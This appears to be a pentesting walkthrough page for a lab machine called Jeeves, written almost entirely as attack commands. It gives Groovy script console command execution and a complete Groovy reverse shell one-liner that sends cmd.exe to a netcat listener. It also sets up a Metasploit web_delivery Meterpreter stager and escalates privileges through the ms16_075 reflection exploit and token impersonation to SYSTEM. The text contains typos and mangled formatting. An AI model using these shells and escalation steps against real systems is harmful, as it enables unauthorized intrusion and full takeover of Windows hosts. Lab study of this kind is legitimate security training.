> For the complete documentation index, see [llms.txt](https://tenaka.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tenaka.gitbook.io/pentesting/boxes/jeeves-potato-attack.md).

# Jeeves Potato Attack

nmap -p-

println "cmd.exe /c syteminfo".execute().text

### #Groovy Script Console

### #Netcat

nc -nlvp 4444

### #Paste in to console

String host="IP";&#x20;

int port=4444;

&#x20;String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

### #MSFConsole

#### Create a Meterpreter shell&#x20;

msfconsole

use exploit/multi/script/web\_delivery

options

show targets

set target 2 (powershell)

set payload windows/meterpreter/reverse\_tcp

set lhost 10.1.1.1

set srvhost 10.1.1.1

run

copy output and paste into cmd of none priv shell

### #Meterpreter

getprivs

run post/multi/recon/local\_exploit\_suggester&#x20;

background

use exploit/windows/local/ms16\_*75\_*&#x72;eflection

set lhost set lport

set session #

set payload windows/meterpreter/reverse\_tcp

load incognito

list \_tokens -u

copy "NT AUTHORITY\SYSYEM"

impersonate\_token  "NT AUTHORITY\SYSYEM"

shell

whoami

dir /R

more < filename
